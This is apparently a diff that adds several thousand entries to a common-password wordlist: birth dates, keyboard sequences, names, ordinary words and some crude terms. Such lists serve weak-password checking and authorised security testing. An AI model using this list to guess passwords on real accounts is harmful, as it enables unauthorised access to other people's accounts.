+borders
+blue32
+blanco
+bismillah
+biker
+bennie
+benito
+azazel
+ashle
+arianna
+argentin
+antonia
+alanis
+advent
+acura
+858585
+4040
+333444
+30041985
+29071985
+29061990
+27071987
+27061985
+27041990
+26031990
+24031988
+23051990
+2211
+22011986
+21061986
+20121989
+20092009
+20091986
+20081991
+20041988
+20041986
+1qwerty
+19671967
+1950
+19121989
+19061990
+18101987
+18051988
+18041986
+18021984
+17101986
+17061989
+17041991
+16021990
+15071988
+15071986
+14101987
+135798642
+13061987
+1234zxcv
+12321
+1214
+12071989
+1129
+11121985
+11061991
+10121987
+101101
+10101985
+10031987
+100200
+09041987
+09031988
+06041988
+05071988
+03081989
+02071985
+02071975
+0123456
+01051989
+01041992
+01041990
+zarina
+woodie
+whiteboy
+white1
+waterboy
+volkov
+vlad
+virus
+vikings1
+viewsoni
+vbkfirf
+trans
+terefon
+swedish
+squeak
+spanner
+spanker
+sixpack
+seymour
+sexxx
+serpent
+samira
+roma
+rogue
+robocop
+robins
+real
+Qwerty1
+qazxcv
+q2w3e4
+punch
+pinky1
+perry
+peppe
+penguin1
+Password123
+pain
+optimist
+onion
+noway
+nomad
+nine
+morton
+moonshin
+money12
+modern
+mcdonald
+mario1
+maple
+loveya
+love1
+loretta
+lookout
+loki
+lllll
+llamas
+limewire
+konstantin
+k.lvbkf
+keisha
+jones1
+jonathon
+johndoe
+johncena
+john123
+janelle
+intercourse
+hugo
+hopkins
+harddick
+glasgow
+gladiato
+gambler
+galant
+gagged
+fortress
+factory
+expert
+emperor
+eight
+django
+dinara
+devo
+daniels
+crusty
+cowgirl
+clutch
+clarissa
+cevthrb
+ccccccc
+capetown
+candy1
+camero
+camaross
+callisto
+butters
+bigpoppa
+bigones
+bigdawg
+best
+beater
+asgard
+angelus
+amigos
+amand
+alexandre
+9999999999
+8989
+875421
+30011985
+29051985
+2626
+26061985
+25111987
+25071990
+22081986
+22061989
+21061985
+20082008
+20021988
+1a2s3d
+19981998
+16051985
+15111988
+15051985
+15021990
+147896
+14041988
+123567
+12345qwerty
+12121988
+12051990
+12051986
+12041990
+11091989
+11051986
+11051984
+1008
+10061986
+0815
+06081987
+06021987
+04041990
+02081981
+02061977
+02041977
+02031975
+01121987
+01061988
+01031986
+01021989
+01021988
+wolfpac
+wert
+vienna
+venture
+vehpbr
+vampir
+university
+tuna
+trucking
+trip
+trees
+transfer
+tower
+tophat
+tomahawk
+timosha
+timeout
+tenchi
+tabasco
+sunny1
+suckmydick
+suburban
+stratfor
+steaua
+spiral
+simsim
+shadow12
+screw
+schmidt
+rough
+rockie
+reilly
+reggae
+quebec
+private1
+printing
+pentagon
+pearson
+peachy
+notebook
+noname
+nokian73
+myrtle
+munch
+moron
+matthias
+mariya
+marijuan
+mandrake
+mamacita
+malice
+links
+lekker
+lback
+larkin
+ksusha
+kkkkk
+kestrel
+kayleigh
+inter
+insight
+hotgirls
+hoops
+hellokitty
+hallo123
+gotmilk
+googoo
+funstuff
+fredrick
+firefigh
+finland
+fanny
+eggplant
+eating
+dogwood
+doggies
+dfktynby
+derparol
+data
+damon
+cvthnm
+cuervo
+coming
+clock
+cleopatra
+clarke
+cheddar
+cbr900rr
+carroll
+canucks
+buste
+bukkake
+boyboy
+bowman
+bimbo
+bighead
+bball
+barselona
+aspen
+asdqwe123
+around
+aries
+americ
+almighty
+adgjmp
+addison
+absolutely
+aaasss
+4ever
+357951
+29061989
+28051987
+27081986
+25061985
+25011986
+24091986
+24061988
+24031990
+21081987
+21041992
+20031991
+2001112
+19061985
+18111987
+18021988
+17071989
+17031987
+16051990
+15021986
+14031988
+14021987
+14011989
+1220
+1205
+120120
+111999
+111777
+1115
+1114
+11011990
+1027
+10011983
+09021989
+07051990
+06051986
+05091988
+05081988
+04061986
+04041985
+03041980
+02101976
+02071976
+02061976
+02011975
+01031983
+zasada
+wyoming
+wendy1
+washingt
+warrior1
+vickie
+vader1
+uuuuuu
+username
+tupac
+Trustno1
+tinkerbe
+suckdick
+streets
+strap
+storm1
+stinker
+sterva
+southpaw
+solaris
+sloppy
+sexylady
+sandie
+roofer
+rocknrol
+rico
+rfhnjirf
+QWERTY
+qqqqq1
+punker
+progress
+platon
+Phoenix
+Phoeni
+peeper
+pastor
+paolo
+page
+obsidian
+nirvana1
+nineinch
+nbvjatq
+navigator
+native
+money123
+modelsne
+minimoni
+millenium
+max333
+maveric
+matthe
+marriage
+marquis
+markie
+marines1
+marijuana
+margie
+little1
+lfybbk
+klizma
+kimkim
+kfgjxrf
+joshu
+jktxrf
+jennaj
+irishka
+irene
+ilove
+hunte
+htubcnhfwbz
+hottest
+heinrich
+happy2
+hanson
+handball
+greedy
+goodie
+golfer1
+gocubs
+gerrard
+gabber
+fktyrf
+facebook
+eskimo
+elway7
+dylan1
+dominion
+domingo
+dogbone
+default
+darkangel
+cumslut
+cumcum
+cricket1
+coral
+coors
+chris123
+charon
+challeng
+canuck
+call
+calibra
+buceta
+bubba123
+bricks
+bozo
+blues1
+bluejays
+berry
+beech
+awful
+april1
+antonina
+antares
+another
+andrea1
+amore
+alena
+aileen
+a1234
+996633
+556677
+5329
+5201314
+3006
+28051986
+28021985
+27031989
+26021987
+25101989
+25061986
+25041985
+25011985
+24061987
+23021985
+23011985
+223322
+22121986
+22121983
+22081983
+22071989
+22061987
+22061941
+22041986
+22021985
+21021985
+2007
+20031988
+1qaz
+199999
+19101990
+19071988
+19071986
+18061985
+18051990
+17071985
+16111990
+16061986
+16011989
+15081991
+15051987
+14071987
+13031986
+123qwer
+1235789
+123459
+1227
+1226
+12101988
+12081984
+12071987
+1200
+11121987
+11081987
+11071985
+11011991
+1101
+1004
+08071987
+08061987
+05061986
+04061991
+03111987
+03071987
+02091976
+02081979
+02041976
+02031973
+02021991
+02021980
+02021971
+zouzou
+yaya
+wxcvbn
+wolfen
+wives
+wingnut
+whatwhat
+Welcome1
+wanking
+VQsaBLPzLa
+truth
+tracer
+trace
+theforce
+terrell
+sylveste
+susanna
+stephane
+stephan
+spoons
+spence
+sixty
+sheepdog
+services
+sawyer
+sandr
+saigon
+rudolf
+rodeo
+roadrunner
+rimmer
+ricard
+republic
+redskin
+Ranger
+ranch
+proton
+post
+pigpen
+peggy
+paris1
+paramedi
+ou8123
+nevets
+nazgul
+mizzou
+midnite
+metroid
+Matthew
+masterbate
+margarit
+loser1
+lolol
+lloyd
+kronos
+kiteboy
+junk
+joyce
+jomama
+joemama
+ilikepie
+hung
+homework
+hattrick
+hardball
+guido
+goodgirl
+globus
+funky
+friendster
+flipflop
+flicks
+fender1
+falcon1
+f00tball
+evolutio
+dukeduke
+disco
+devon
+derf
+decker
+davies
+cucumber
+cnfybckfd
+clifton
+chiquita
+castillo
+cars
+capecod
+cafc91
+brown1
+brand
+bomb
+boater
+bledsoe
+bigdicks
+bbbbbbb
+barley
+barfly
+ballet
+azzer
+azert
+asians
+angelic
+ambers
+alcohol
+6996
+5424
+393939
+31121990
+30121987
+29121987
+29111989
+29081990
+29081985
+29051990
+27272727
+27091985
+27031987
+26031987
+26031984
+24051990
+23061990
+22061990
+22041985
+22031991
+22021990
+21111985
+21041985
+20021986
+19071990
+19051986
+19011987
+17171717
+17061986
+17041987
+16101987
+16031990
+159357a
+15091987
+15081988
+15071985
+15011986
+14101988
+14071988
+14051990
+14021983
+132465
+13111990
+12121987
+12121982
+12061986
+12011989
+11111987
+11081990
+10111986
+10031991
+09090909
+08051987
+08041986
+05051990
+04081987
+04051988
+03061987
+03031993
+03031988
+02101980
+02101977
+02091977
+02091975
+02061979
+02051975
+01081990
+01061987
+01011971
+wiseguy
+weed420
+tosser
+toriamos
+toolbox
+toocool
+tomas
+thedon
+tender
+taekwondo
+starwar
+start1
+sprout
+sonyericsson
+slimshad
+skateboard
+shonuf
+shoes
+sheep
+shag
+ring
+riccardo
+rfntymrf
+redcar
+qwe321
+qqqwww
+proview
+prospect
+persona
+penetration
+peaches1
+peace1
+olympus
+oberon
+nokia6233
+nightwish
+munich
+morales
+mone
+mohawk
+merlin1
+Mercedes
+mega
+maxwell1
+mash4077
+marcelo
+mann
+mad
+macbeth
+LOVE
+loren
+longer
+lobo
+leeds
+lakewood
+kurt
+krokodil
+kolbasa
+kerstin
+jenifer
+hott
+hello12
+hairball
+gthcbr
+grin
+grandam
+gotribe
+ghbrjk
+ggggggg
+FUCKYOU
+fuck69
+footjob
+flasher
+females
+fellow
+explore
+evangelion
+egghead
+dudeman
+doubled
+doris
+dolemite
+dirty1
+devin
+delmar
+delfin
+David
+daddyo
+cromwell
+cowboy1
+closer
+cheeky
+ceasar
+cassandr
+camden
+cabernet
+burns
+bugs
+budweiser
+boxcar
+boulder
+biggun
+beloved
+belmont
+beezer
+beaker
+Batman
+bastards
+bahamut
+azertyui
+awnyce
+auggie
+aolsucks
+allegro
+963963
+852852
+515000
+45454545
+31011990
+29011987
+28071986
+28021986
+27051987
+27011988
+26051988
+26041991
+26041986
+25011993
+24121986
+24061992
+24021991
+24011990
+23051986
+23021988
+23011990
+21121986
+21111990
+21071989
+20071986
+20051985
+20011989
+1943
+19111987
+19091988
+18041990
+18021986
+18011986
+17101987
+17091987
+17021985
+17011990
+16061985
+1598753
+15051986
+14881488
+14121989
+14081988
+14071986
+13111984
+122112
+12121989
+12101985
+12051985
+111213
+11071986
+1103
+11011987
+10293847
+101112
+10081985
+10061987
+10041983
+0911
+07091982
+07081986
+06061987
+06041987
+06031983
+04091986
+03071986
+03051987
+03051986
+03031990
+03011987
+02101978
+02091973
+02081974
+02071977
+02071971
+0192837465
+01051988
+01051986
+01011973
+?????
+zxcv123
+zxasqw
+yyyy
+yessir
+wordup
+wizards
+werty
+watford
+Victoria
+vauxhall
+vancouve
+tuscl
+trailer
+touching
+tokiohotel
+suslik
+supernov
+steffen
+spider1
+speakers
+spartan1
+sofia
+signal
+sigmachi
+shen
+sheeba
+sexo
+sambo
+salami
+roger1
+rocknroll
+rockin
+road
+reserve
+rated
+rainyday
+q123456789
+purpl
+puppydog
+power123
+poiuytre
+pointer
+pimping
+phialpha
+penthous
+pavement
+outside
+odyssey
+nthvbyfnjh
+norbert
+nnnnnnnn
+mutant
+Mustang
+mulligan
+mississippi
+mingus
+Merlin
+magic32
+lonesome
+liliana
+lighting
+lara
+ksenia
+koolaid
+kolokol
+klondike
+kkkkkkk
+kiwi
+kazantip
+junio
+jewish
+jajaja
+jaime
+jaeger
+irving
+ironmaiden
+iriska
+homemade
+herewego
+helmut
+hatred
+harald
+gonzales
+goldfing
+gohome
+gerbil
+genesis1
+fyfnjkbq
+freee
+forgetit
+foolish
+flamengo
+finally
+favorite6
+exchange
+enternow
+emilio
+eeeeeee
+dougie
+dodgers1
+deniro
+delaware
+deaths
+darkange
+commande
+comein
+cement
+catcher
+cashmone
+burn
+buffet
+breaker
+brandy1
+bordeaux
+books
+bongo
+blue99
+blaine
+birgit
+billabon
+benessere
+banan
+awesome1
+asdffdsa
+archange
+annmarie
+ambrosia
+ambrose
+alleycat
+all4one
+alchemy
+aceace
+aaaaaaaaaa
+777999
+43214321
+369258147
+31121988
+31121987
+30061987
+30011986
+2fast4u
+29041985
+28121984
+28061986
+28041992
+28031982
+27111985
+27021991
+26111985
+26101986
+26091986
+26031986
+25021988
+24111990
+24101986
+24071987
+24011987
+23051991
+23051987
+23031987
+222777
+22071983
+22051986
+21101989
+21071987
+21051986
+20081986
+20061986
+20031986
+20021985
+20011988
+19641964
+19111986
+19101986
+19021990
+18051987
+18031991
+18021987
+16111982
+16011987
+15111984
+15091988
+15061988
+15031988
+15021983
+14021989
+14011988
+14011987
+12348765
+12345qaz
+1234566
+12111990
+12091988
+12051989
+12051987
+12031988
+12021985
+12011985
+11111986
+11091984
+1109
+11071989
+1016
+10071985
+10061984
+10041990
+10031989
+10011988
+06071983
+05021988
+03041987
+02091982
+02091971
+02061974
+02051990
+02051979
+02011990
+01051990
+010390
+01021985
+youtube
+yasmin
+woodstoc
+wonderful
+wildone
+widget
+whiplash
+ukraine
+tyson1
+twinkie
+trouble1
+treetop
+tigers1
+their
+testing1
+tarpon
+tantra
+summer69
+stickman
+stafford
+spooge
+spliff
+speedway
+somerset
+smoothie
+siobhan
+shuttle
+shodan
+SHADOW
+selina
+segblue2
+sebring
+scheisse
+Samantha
+rrrr
+roll
+riders
+revolution
+redbone
+reason
+rasmus
+randy1
+rainbows
+pumper
+pornking
+point
+ploppy
+pimpdadd
+payday
+pasadena
+p0o9i8u7
+opennow
+nittany
+newark
+navyseal
+nautica
+monic
+mikael
+metall
+Marlboro
+manfred
+macleod
+luna
+luca
+longhair
+lokiloki
+lkjhgfds
+lefty
+lakers1
+kittys
+killa
+kenobi
+karine
+kamasutra
+juliana
+joseph1
+jenjen
+jello
+interne
+houdini
+gsxr1000
+grass
+gotham
+goodday
+gianni
+getting
+gannibal
+gamma
+flower2
+fishon
+Fabie
+evgeniy
+drums
+dingo
+daylight
+dabomb
+cornwall
+cocksucker
+climax
+catnip
+carebear
+camber
+butkus
+bootsy
+blue42
+auto
+austin31
+auditt
+ariel
+alice1
+algebra
+advance
+adrenalin
+888999
+789654123
+777333
+5Wr2i7H8
+4567
+3ip76k2
+32167
+31031987
+30111987
+30071986
+30061983
+30051989
+30041991
+28071987
+28051990
+28051985
+27041985
+26071987
+26061986
+26051986
+25121985
+25051985
+24081988
+24041988
+24031987
+24021988
+23skidoo
+23121986
+23091987
+23071985
+23061992
+22111985
+22091986
+22081991
+22071990
+22061985
+21081985
+21071992
+21021987
+20101988
+20061984
+20051989
+20041990
+1Dragon
+19091990
+19031987
+18121984
+18081988
+18061991
+18041991
+18011988
+17061991
+17021987
+16031988
+16021987
+15091989
+15081990
+15071983
+15041987
+14091990
+14081990
+14041992
+14041987
+14031989
+13081985
+13021987
+123qwert
+12345qwer
+12345abc
+123456t
+123456789m
+1212121212
+12081983
+12021991
+111112
+11101986
+11081988
+11061989
+11041991
+11011989
+1018
+1015
+10121986
+10121985
+10101989
+10041991
+09091986
+09081988
+09051986
+08071988
+08011986
+07101987
+07071985
+0660
+06061985
+06011988
+05031991
+05021987
+04061984
+04051985
+02101973
+02061981
+02061972
+02041973
+02011979
+01101987
+01051985
+01021987
+workout
+wonderboy
+winter1
+wetter
+werdna
+vvvv
+voyager1
+vagabond
+trustme
+toonarmy
+timtim
+Tigger
+thrasher
+terra
+swoosh
+supra
+stigmata
+stayout
+status
+square
+sperma
+smackdown
+sixty9
+sexybabe
+sergbest
+senna
+scuba1
+scrapper
+samoht
+sammy123
+salem
+rugger
+royalty
+rivera
+ringo
+restart
+reginald
+readers
+raleigh
+rainbow1
+rage
+prosper
+pitch
+pictures
+petunia
+peterbil
+perfect1
+patrici
+pantera1
+pancake
+p4ssw0rd
+outback
+norris
+normandy
+nevermore
+needles
+nathan1
+nataly
+narnia
+musical
+mooney
+michal
+maxdog
+MASTER
+madmad
+m123456
+lumina
+luckyone
+luciano
+linkin
+lillie
+leigh
+kirkland
+kahlua
+junkmail
+Joshua
+josephin
+Jordan23
+johnson1
+jocelyn
+jeannie
+javelin
+inlove
+honor
+holein1
+harbor
+grisha
+gina
+gatit
+futurama
+firenze
+fireblad
+fellatio
+esquire
+errors
+emmett
+elvisp
+drum
+driller
+dragonfl
+dragon69
+dingle
+davinci
+crackers
+corwin
+compaq1
+collie
+christa
+checker
+cartoons
+buttercup
+bungle
+budgie
+boomer1
+body
+blue1234
+biit
+bigguns
+barry1
+audio
+atticus
+atlas
+Anthony
+angus1
+Anai
+alisa
+alex12
+aikman
+abacab
+951357
+7894
+4711
+321678
+31101987
+31051985
+30121986
+30091989
+30031992
+30031986
+30011987
+29061988
+29061985
+29031988
+28061988
+27061983
+27031986
+27021990
+26101987
+26071989
+26071986
+25081986
+25061987
+25051987
+25041991
+24101989
+24071991
+23111987
+23091986
+23051983
+23031986
+2222222222
+22121989
+22071991
+22051991
+22011985
+21121985
+21031985
+20121988
+20121986
+20061990
+20051987
+1q2q3q
+1944
+19091983
+19061992
+1905
+19021991
+18121987
+18121983
+18111986
+16121986
+16091987
+16071991
+16071987
+15111989
+15031990
+14041986
+13121983
+13101987
+13091984
+13071990
+1245
+12345m
+1234568
+123456789qwe
+1234567899
+1234561
+1228
+12211221
+12121991
+12121986
+12101990
+12101984
+12091991
+1209
+12081988
+12071990
+12071988
+115599
+11111a
+11041990
+1028
+10081990
+10081983
+10071990
+10061989
+10011992
+09111987
+09081985
+08121987
+08111984
+08101986
+08051989
+07091988
+07081987
+07071988
+07071984
+07071982
+07051987
+06031992
+05111986
+05051991
+05031990
+05011987
+04111988
+04061987
+04041987
+040404
+02081973
+02061978
+02031991
+02031990
+02011976
+01071984
+01041980
+01021992
+zaqwsxcde
+yyyyyyyy
+worthy
+woowoo
+wind
+William
+warhamme
+walton
+vodka
+venom
+velocity
+treble
+tralala
+tigercat
+tarakan
+sunlight
+streaming
+starr
+sonysony
+smart1
+skylark
+sites
+shower
+sheldon
+seneca
+sedona
+scamper
+sand
+sabrina1
+romantic
+rockwell
+rabbits
+q1234567
+puzzle
+protect
+poker1
+plato
+plastics
+pinnacle
+peppers
+pathetic
+patch
+pancakes
+ottawa
+ooooo
+offshore
+octopus
+nounours
+nokia1
+neville
+ncc74656
+natasha1
+nastia
+mynameis
+motor
+motocros
+middle
+met2002
+meow
+meliss
+medina
+meadow
+matty
+masterp
+manga
+lucia
+loose
+linden
+lhfrjy
+letsdoit
+leopold
+lawson
+larson
+laddie
+ladder
+kristian
+kittie
+jughead
+joecool
+jimmys
+iklo
+honeys
+hoffman
+hiking
+hello2
+heels
+harrier
+hansol
+haley
+granada
+gofast
+fyutkjxtr
+frogs
+francisc
+four
+fields
+farm
+faith1
+fabio
+dreamcas
+dragster
+doggy1
+dirt
+dicky
+destiny1
+deputy
+delpiero
+dbnfkbr
+dakota1
+daisydog
+cyprus
+cutie
+cupoi
+colonial
+colin
+clovis
+cirrus
+chewy
+chessie
+chelle
+caster
+cannibal
+candyass
+camping
+cable
+bynthytn
+byebye
+buzzer
+burnout
+burner
+bumbum
+bumble
+briggs
+brest
+boyz
+bowtie
+bootsie
+bmwbmw
+blanche
+blanca
+bigbooty
+baylor
+base
+azertyuiop
+austria
+asd222
+armando
+ariane
+amstel
+amethyst
+airman
+afrika
+adelina
+acidburn
+7734
+741741
+66613666
+44332211
+31071990
+31051993
+30051987
+30011990
+29091987
+29061986
+29011982
+2828
+28101986
+28081990
+28081986
+28011988
+27111989
+27031992
+27021992
+26081986
+25081985
+25031991
+25031983
+24121987
+24091991
+23111989
+23091989
+23091985
+23061989
+22091991
+22071985
+22071984
+22061984
+22051989
+22051987
+22031986
+22011992
+21061988
+21031984
+20071988
+20061983
+20041985
+1qazzaq1
+1qazxsw23edc
+19991999
+19061991
+18101985
+18051989
+18031988
+18021992
+18011985
+17051990
+17051989
+17051987
+17021989
+16091988
+16081986
+16061988
+16061987
+15121987
+15091985
+15081986
+15061985
+15011983
+14101986
+1357911
+13071987
+13061985
+13021985
+123456qqq
+123456789d
+1234509876
+12131213
+12111991
+12111985
+12081990
+12081987
+12071991
+1207
+120689
+1120
+11071987
+11051988
+1104
+11031983
+10091984
+10071989
+10071986
+10061985
+10051990
+10041987
+10031993
+10031990
+09091988
+09051987
+09041986
+08081990
+08081989
+08021990
+07101984
+07071989
+07041987
+07031989
+07021991
+06061981
+06021986
+05121990
+05061988
+05031987
+04071988
+04071986
+04041986
+03101991
+03091983
+03051988
+03041983
+03031992
+02081970
+02061971
+02051970
+02041972
+02031974
+02021978
+0202
+02011977
+01121990
+01091992
+01081992
+01081985
+01011972
+007bond
+zapper
+vipergts
+vfntvfnbrf
+vfndtq
+tujhrf
+tripleh
+track
+THOMAS
+thierry
+thebear
+systems
+supernova
+stone1
+stephen1
+stang
+stan
+spot
+sparkles
+soul
+snowbird
+snicker
+slonik
+slayer1
+sixsix
+singapor
+shauna
+scissors
+savior
+samm
+rumble
+rrrrr
+robin1
+renato
+redstar
+raphael
+q1w2e3r
+pressure
+poptart
+playball
+pizzaman
+pinetree
+phyllis
+pathfind
+papamama
+panter
+pandas
+panda1
+pajero
+pacino
+orchard
+olive
+nightmar
+nico
+Mustang1
+mooses
+montrose
+montecar
+montag
+melrose
+masterbating
+maserati
+marshal
+makaka
+macmac
+mackie
+lockdown
+liverpool1
+link
+lemans
+leinad
+lagnaf
+kingking
+killer123
+kaboom
+jeter2
+jeremy1
+jeepster
+jabber
+itisme
+italy
+ilovegod
+idefix
+howell
+hores
+HIZIAD
+hewitt
+hellsing
+Heather
+gonzo1
+golden1
+GEORGE
+generic
+gatsby
+fujitsu
+frodo1
+frederik
+forlife
+fitter
+feelgood
+fallon
+escalade
+enters
+emil
+eleonora
+earl
+dummy
+donner
+dominiqu
+dnsadm
+dickens
+deville
+delldell
+daughter
+contract
+contra
+conquest
+compact
+christi
+chill
+chavez
+chaos1
+chains
+casio
+carrots
+building
+buffalo1
+brennan
+boubou
+bonner
+blubber
+blacklab
+behappy
+barbar
+bambi
+babycake
+aprilia
+ANDREW
+allgood
+alive
+adriano
+808080
+7777777a
+777666
+31121986
+31121985
+31051991
+31051987
+30121988
+30121985
+30101988
+30061988
+29041988
+27091991
+26121989
+26061989
+26031991
+25111991
+25031984
+25021986
+24121989
+24121988
+24101990
+24101984
+24071992
+24051989
+24041986
+23091991
+23061987
+23041988
+23021992
+23021983
+22111988
+22091990
+22091984
+22051988
+21111986
+21101988
+21101987
+21091989
+21051990
+21021989
+20101987
+20071984
+20051983
+20031990
+20031985
+20011983
+1passwor
+19111985
+19081987
+19051983
+19041985
+18121990
+18121985
+18121812
+18091987
+17121985
+17111987
+17071987
+17071986
+17061987
+17041986
+17041985
+16121991
+16101986
+16041988
+16041985
+16031986
+16021988
+16011986
+15121983
+15101991
+15061984
+15011988
+14091987
+14061988
+14051983
+13101992
+13101988
+13101982
+13071989
+13071985
+13061991
+13051990
+13031989
+123456n
+1234567890-
+123450
+1216
+12101989
+1208
+12071984
+12061987
+12041991
+12031990
+12021984
+1117
+11091986
+11091985
+11081986
+1026
+10101988
+10101980
+10091986
+10091985
+10081987
+10051988
+10021987
+10021986
+09041985
+09031987
+08041985
+08031987
+07061988
+07041989
+07021980
+06011982
+05121988
+05061989
+05051986
+04031991
+03071985
+03061986
+03061985
+03031987
+03031984
+03011991
+02111987
+02061990
+02011971
+01091988
+01071990
+01061983
+01051980
+01022010
+000777
+000123
+young1
+yamato
+winona
+winner1
+whatthe
+weiner
+weekend
+volleyba
+volcano
+virginie
+videos
+vegitto
+uptown
+tycoon
+treefrog
+trauma
+town
+toast
+titts
+these
+therock1
+tetsuo
+tennesse
+tanya1
+success1
+stupid1
+stockton
+stock
+stellar
+springs
+spoiled
+someday
+skinhead
+sick
+shyshy
+shojou
+shampoo
+sexman
+sex69
+saskia
+Sandra
+s123456
+russel
+rudeboy
+rollin
+ridge
+ride
+rfgecnf
+qwqwqwqw
+pushkin
+puck
+probes
+pong
+playmate
+planes
+piercing
+phat
+pearls
+password9
+painting
+nineball
+navajo
+napalm
+mohammad
+miller1
+matchbox
+marie1
+mariam
+mamas
+malish
+maison
+logger
+locks
+lister
+lfitymrf
+legos
+lander
+laetitia
+kenken
+kane
+johnny5
+jjjjjjj
+jesper
+jerk
+jellybean
+jeeper
+jakarta
+instant
+ilikeit
+icecube
+hotass
+hogtied
+having
+harman
+hanuman
+hair
+hacking
+gumby
+gramma
+GOLF
+goldeneye
+gladys
+furball
+fuckme2
+franks
+fick
+fduecn
+farmboy
+eunice
+erection
+entrance
+elisabet
+elements
+eclipse1
+eatmenow
+duane
+dooley
+dome
+doktor
+dimitri
+dental
+delaney
+Dallas
+cyrano
+cubs
+crappy
+cloudy
+clips
+cliff
+clemente
+charlie2
+cassandra
+cashmoney
+camil
+burning
+buckley
+booyah
+boobear
+bonanza
+bobmarley
+bleach
+bedford
+bathing
+baracuda
+antony
+ananas
+alinka
+alcatraz
+aisan
+5000
+49ers
+334455
+31051982
+30051988
+30051986
+29111988
+29051992
+29041989
+29031990
+28121989
+28071985
+28021983
+27111990
+27071988
+26071984
+26061991
+26021992
+26011990
+26011986
+25091991
+25091989
+25081989
+25071987
+25071985
+25071983
+25051988
+25051980
+25041987
+25021985
+24101991
+24101988
+24071990
+24061985
+24041985
+24041984
+23456
+23111986
+23101987
+23041991
+23031983
+22071992
+22071988
+21121989
+21111989
+21111983
+21101983
+21041991
+21041987
+21031986
+21021990
+21021988
+20081990
+20061991
+20061987
+20032003
+20031992
+1qw23er4
+1q1q1q1q
+1Master
+19121988
+19081986
+19071989
+19041986
+18111983
+18071990
+18071989
+18071986
+18031986
+17121987
+17091985
+17071990
+17051983
+16091990
+15081989
+15071990
+15051992
+15051989
+15031991
+15011990
+14031986
+13091988
+13091987
+13091986
+13081986
+13071982
+13051986
+13041989
+13021991
+1269
+123890
+1234rewq
+12345r
+1231234
+12111984
+12091986
+12081993
+12071992
+1206
+12021990
+111555
+11111991
+11091990
+11061987
+11061986
+11061984
+11041985
+11031986
+1030
+1029
+1014
+101091m
+10041984
+10031980
+10011980
+09051984
+08071985
+07081984
+07041988
+06101989
+06061988
+06041984
+05091987
+05081992
+05081986
+05071985
+05041985
+04111991
+04071987
+04021990
+03091988
+03061988
+03041989
+03041984
+03031991
+02091978
+01071988
+01061992
+01041993
+01041983
+01031981
+0069
+zyjxrf
+xian
+wizard1
+winger
+wilder
+welkom
+wearing
+weare138
+vanessa1
+usmarine
+unlock
+thumb
+this
+tasha1
+talks
+talbot
+summers
+sucked
+storage
+sqdwfe
+socce
+sniffing
+smirnov
+shovel
+shopper
+shady
+semper
+screwy
+schatz
+samanth
+salman
+rugby1
+rjhjkm
+rita
+rfhfylfi
+retire
+ratboy
+rachelle
+qwerasdfzxcv
+purple1
+prince1
+pookey
+picks
+perkins
+patches1
+password99
+oyster
+olenka
+nympho
+nikolas
+neon
+muslim
+muhammad
+morrowind
+monk
+missie
+mierda
+mercede
+melina
+maximo
+matrix1
+Martin
+mariner
+mantle
+mammoth
+mallrats
+madcow
+macintos
+macaroni
+lunchbox
+lucas1
+london1
+lilbit
+leoleo
+KILLER
+kerry
+kcchiefs
+juniper
+jonas
+jazzy
+istheman
+implants
+hyundai
+hfytnrb
+herring
+grunt
+grimace
+granite
+grace1
+gotenks
+glasses
+giggle
+ghjcnbnenrf
+garnet
+gabriele
+gabby
+fosters
+forever1
+fluff
+Fktrcfylh
+finder
+experienced
+dunlop
+duffer
+driven
+dragonballz
+draco
+downer
+douche
+doom
+discus
+darina
+daman
+daisey
+clement
+chouchou
+cheerleaers
+Charles
+charisma
+celebrity
+cardinals
+captain1
+caca
+c2h5oh
+bubbles1
+brook
+brady
+blue23
+blue11
+blitz
+billbill
+betsy
+benny1
+beau
+beatles1
+baura
+barney1
+barefeet
+ballsack
+bagpuss
+backbone
+ass
+asasasas
+apollo11
+amature
+altoids
+abracadabra
+963258
+848484
+765432
+595959
+456987
+333555
+31101991
+31081989
+31051986
+31011985
+30101987
+30071992
+30061989
+30061985
+29121988
+29121984
+29111987
+29081987
+29081982
+29071986
+29051987
+29041987
+29031982
+28071984
+28061985
+28051988
+28041988
+28021989
+27101989
+27101987
+27091983
+27061990
+27051991
+26121987
+26111984
+26051990
+26041988
+26041983
+25091992
+25081987
+250588
+25051989
+24041990
+23091982
+23071986
+23061985
+23051984
+23021991
+22446688
+22091987
+22091985
+22061991
+22051990
+22041991
+21121988
+21091990
+21071990
+21071985
+21041990
+21021986
+20101986
+20072007
+20061980
+20051986
+20021991
+20011987
+19071983
+19021985
+19011985
+18061987
+18061986
+18011984
+17121986
+17111988
+17031992
+17021986
+16111989
+16061990
+16011991
+16011985
+159263
+15121985
+15111986
+15031987
+14101991
+14101983
+14051987
+14041991
+14021991
+1331
+13081987
+13071991
+13061990
+13031991
+1237895
+1222
+1218
+12121984
+12101986
+12091990
+12081986
+12041987
+1111qqqq
+11061988
+11051989
+11041987
+11041986
+11021990
+1021
+10101991
+10081991
+10021983
+09876
+09101985
+09051990
+09011990
+08111983
+08071986
+08061986
+08031988
+08021989
+07021987
+06091989
+06081988
+06081986
+06071984
+06061990
+06051987
+06031986
+06021989
+05101984
+05061983
+05041986
+04081985
+04061990
+04061988
+04051987
+04021985
+04011990
+03121986
+03101985
+03061984
+02081975
+02031970
+02021977
+01051987
+01041989
+01031980
+01010101
+zoomzoom
+zerozero
+yyyyy
+wwwww
+womans
+vides
+ulysses
+turbos
+trustno
+trigun
+trek
+trash
+toomuch
+tonton
+titfuck
+tiamat
+sweeps
+surgery
+suede
+stiletto
+starwars1
+spleen
+spark
+skirt
+sharpe
+sexybitch
+sextoy
+sephiroth
+riffraff
+rhubarb
+rhinos
+renate
+reeves
+redheads
+recall
+range
+raduga
+pugsley
+poophead
+placid
+photon
+pertinant
+penis1
+paulpaul
+panhead
+ontario
+onions
+ollie
+nemrac58
+natalya
+nadia
+myXworld
+mufasa
+mortis
+morten
+mommy1
+momdad
+misiek
+mike1
+melons
+manny
+malaysia
+mafia
+legs
+left4dead
+leeann
+karaoke
+justi
+josiah
+jordan2
+jesus123
+interest
+innocent
+iceland
+hound
+hotgirl
+hillbill
+hazard
+handbag
+hallowee
+hakr
+goldeney
+giulia
+ghjcnjq
+generals
+gardner
+gallaries
+fussball
+fuckme1
+FUCKME
+frenchy
+flyers88
+flyer
+fiddle
+fabulous
+enrique
+dudes
+duckman
+dondon
+dipper
+cummins
+culinary
+constant
+cleaner
+civicsi
+citation
+chen
+champ1
+chamber
+cartman1
+cambridg
+bouncer
+bosco1
+border
+bogus
+blinky
+blake1
+bettyboo
+begemot
+bbking
+aztnm
+arsena
+aol123
+annaanna
+Andrea
+alvaro
+alterego
+alpha123
+accept
+918273
+77347734
+7412369
+5683
+55BGates
